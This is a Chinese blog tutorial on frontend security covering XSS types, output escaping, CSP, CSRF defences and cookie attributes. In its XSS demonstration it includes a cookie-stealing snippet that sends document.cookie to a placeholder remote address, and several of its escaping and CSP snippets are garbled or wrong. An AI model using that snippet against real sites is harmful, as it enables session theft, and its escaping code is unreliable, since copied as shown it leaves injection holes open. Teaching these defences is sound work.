猿创征文｜前端安全（XSS和CSRF）

前端安全

当完成最基本的前后端交互，你会不会对网站的安全性有所担心？接下来我们就认识一下最基本的前端安全问题。

感谢b站前端大佬鱼皮的前端安全学习网站测试鸭测试鸭 - 助你成为面试达人 (mianshiya.com)，你可以任意的通过下面知识“攻击”他的网站，真正体会到前端安全的重要性。

XSS

跨站脚本攻击（Cross Site Scripting）

攻击原理

攻击者想办法将可执行的代码注入到我们的页面中

例如：我们想要根据返回的数据渲染content，而攻击者就将content的内容替换成了一段script脚本，浏览器就会执行它。

攻击者可以通过脚本获取页面数据、获取Cookies、劫持前端逻辑、发送请求等

实际操作

在测试鸭中，我们可以在input框中输入一段脚本

点击搜索，我们会发现，网站"执行了"我们的脚本，这样我们就实现了最简单的xss攻击。如果我们将alert(1)替换成一段远程的脚本。脚本中创建一个图片，图片中创建一个img，在img的src中将请求地址改为自己的脚本，并附带当前网站的cookie，就可以拿到cookie了。

var img = document.createElement('img')
img.src = '个人远程脚本地址?yourCookie=encodeURIComponents(document.cookie)'
1
2

或者我们在测试鸭简答题的评论区中注入一段脚本

这段脚本就会被存储在数据库中，只要有用户查看这个界面就会触发这段脚本

攻击类型

XSS攻击方式有两种

• 反射型：即我们前面演示第一种攻击，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器，攻击者会将带脚本的url发送给用户
• 存储型：将脚本存放到网站数据库中，即前面演示的第二种，这种方式因为不会显示在url上，更为隐蔽
• DOM型：网页源代码中没有payload，前端 JavaScript 取出 URL 中的恶意代码并执行。

XSS攻击注入点：HTML节点内容、HTML属性、JS代码、富文本

XSS防御

开启浏览器自带防御

设置开启X-XSS-Protection（浏览器默认开启）

他的防御内容非常有限，只能防御参数出现在HTML内容或属性的注入

转义字符<>（HTML节点内容防御）

在显示html内容时将<>全局转义为<和>

str = str.replace(/</g,'<')
str = str.replace(/>/g,'>')
1
2

转义字符"和'和空格（HTML属性防御）

在设置html属性的时候将"、'和空格都转义成字符编码

str = str.replace(/"/g,'&quto;')
str = str.replace(/'/g,''')
str = str.replace(/ /g,' ')
1
2
3

转义字符"和\或JSON.stringify（JS代码防御）

js中的转义和html中的不同

str = str.replace(/\\/g,'\\\\')
str = str.replace(/"/g,'\\"')
1
2

在上面的内容中我们要考虑的因素还有很多，因此建议直接转为JSON

// 比如js可能被注入到form中
// 在发起请求时可以这样处理
formForJS: JSON.stringify(query.form)
1
2
3

过滤（富文本防御）

因为富文本必须要渲染html格式，所以我们不能使用上面的方法，只能单独过滤数据

使用正则过滤

• 设置黑名单：替换一些数据
• 设置白名单：只支持使用一些数据

综上所述：解决方法主要都是转义字符&<>"'/

输出

不要信任innerHTML、document.write()、eval，这些都容易收到XSS攻击

CSP

内容安全策略：用于指定哪些内容可执行

主要为http的头来规定限制来源

Content-Security-Policy: default-src 'self' // 必须同源
Content-Security-Policy: img-src https: // 只允许加载https协议图片
Content-Security-Policy: child-src 'none' // 允许加载任何来源框架
1
2
3

这是一种较为便捷的防XSS攻击方式

CSRF

跨站请求伪造（Cross Site Request Forgy）

XSS一般是本网站了运行了其他网站的脚本，SCRF则是其他网站对本网站产生了影响（从其他网站对本网站发起请求）

攻击原理

1. 用户正常登录A网站，输入一些信息
2. A网站确认用户身份，返回cookies标识
3. 用户在未登出网站A的时候访问B网站
4. B网站使用用户的cookies访问A网站，发起请求
5. B网站就相当于操作该用户的账户

从上面的原理不难看出，CSRF的危害就是可以操控你的账户做任何事情。更为严重的后果可能是，攻击者用你的账户再次发布了链接，其他用户一旦点开，就会继续中招，形成CSRF蠕虫，不断传播。

CSRF防御

禁止第三方网站携带Cookies

对Cookies设置SameSite属性，之后第三方网站就拿不到cookies了

验证码

每次涉及到重要操作都要使用验证码

token

相对来说token的用户体验会更好，将token存在我们自己的网页中，只有通过自己的网页发起的请求才能携带token，而只有携带token的请求后端才会响应。因为CSRF不会访问我们的页面，拿不到token，因此实现了防御。

验证referer

referer是http的一个请求头，包含发起网站的地址

我们可以验证发起的请求是否是我们自己页面产生的

Cookies安全

• 存储在前端
• 后端通过http头设置
• 请求时通过http头传给后端
• 遵守同源策略

Cookie特性

• 域名：可以设置对应域名
• 有效期：可以设置有效期
• 路径：可以设置该cookie用于哪个路径
• http-only：只能在请求中使用，不能在js中使用
• secure：是否只支持HTTPS协议

Cookies作用

• 存储个性化设置
• 存储未登录时用户唯一标识
• 存储已登录的用户凭证
• 存储其他业务数据

Cookies登录用户凭证

用户ID：从后端获取用户ID保存到cookie；弊端：直接修改cookie的用户ID就能实现登录其他用户。

用户ID+签名：后端返回用户ID上+签名，现在就算你修改了用户ID，但是签名对不上，就无法进行操作。

SessionId：后端返回的只是一个SessionId，前端只保存这个id到Cookies中，SessionId是一串随机的钥匙，不包含任何用户信息，只有将SessionId传到后端，后端才会获取到对应用户数据。

Cookies和XSS

• XSS可能偷取Cookies
• http-only的Cookie不会被偷

Cookies和CSRF

• CSRF利用了用户Cookies
• 但是由于攻击者没有访问我们的网站，所以无法读写Cookies
• 最好阻止第三方使用Cookies

Cookies安全策略

• 签名防篡改
• 私有变换（加密）
• http-only：防止XSS
• secure：使用HTTPS，确保数据传输过程安全
• same-site：禁止第三方网站携带cookie（可能有兼容性问题）